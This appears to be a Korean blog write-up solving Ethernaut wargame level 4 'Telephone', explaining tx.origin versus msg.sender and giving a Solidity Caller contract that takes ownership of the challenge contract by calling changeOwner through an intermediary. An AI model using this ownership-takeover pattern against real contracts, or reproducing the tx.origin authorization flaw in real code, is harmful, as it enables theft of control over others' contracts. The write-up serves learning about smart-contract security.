[이더넛] 레벨4 'Telephone' 풀기
[목표]
스마트컨트랙트 Telephone의
owner에 대입된 주소를 내 주소로 바꿔보자.
이를 통해
tx.origin와 msg.sender의 차이를 알아보자.
Contract 'Telephone'
Full Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
owner가 되려면
함수 changeOwner를 호출했을때
tx.origin과 msg.sender가 일치하지 않으면
changeOwner 호출시 입력한 주소형 변수가
owner에 대입된다.
1. EOA로 불러오기
player의 EOA로 직업 함수 changeOwner를 호출하면
tx.origin = msg.sender = player
가 되어 if 조건문을 만족시킬 수가 없다.
2. CA로 불러오기
CA를 부르는 방법이 하나 더 있다.
바로 다른 CA로 CA를 부르는 방법.
CA Tellephone을 부르는
CA Caller를 만들어서 Tellephone을 불렀을 경우,
tx.origin = player(EOA 주소)
msg.sender = CA Caller(CA 주소)
두 주소가 일치하지 않기 때문에
tx.origin != msg.sender 조건을 만족시키게 된다.
공격 개시~!
pragma solidity 0.8.6;
contract Telephone{
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
contract Caller{
function call() public {
Telephone(0x88Ac523b04c0Fa2279ab137cdCFf417181F6C3b3).changeOwner(0x2BF5A2f4E77Ced2F6456d1b839b8e46E0E8e34E2);
}
}
스마트컨트랙트 Caller의
함수 call을 실행하면
스마트컨트랙트 Telephone를 부른뒤
함수 changeOwner에
파라미터 player 주소를 입력하여
호출한다.
위에서 설명했듯이
함수 changeOwner
if (tx.origin != msg.sender)의 조건을
만족하게 되고
owner는 player의 주소가 된다.
그럼 목표 달성.
'블록체인' 카테고리의 다른 글
[이더넛] 레벨6 'Delegation' 풀기 (0) | 2021.08.12 |
---|---|
[이더넛] 레벨5 'Token' 풀기 (0) | 2021.08.12 |
[이더넛] 레벨3 'Coin Flip' 풀기 (0) | 2021.08.10 |
이더넛 레벨2 풀기 (0) | 2021.08.10 |
이더넛 레벨1 풀기 (0) | 2021.08.10 |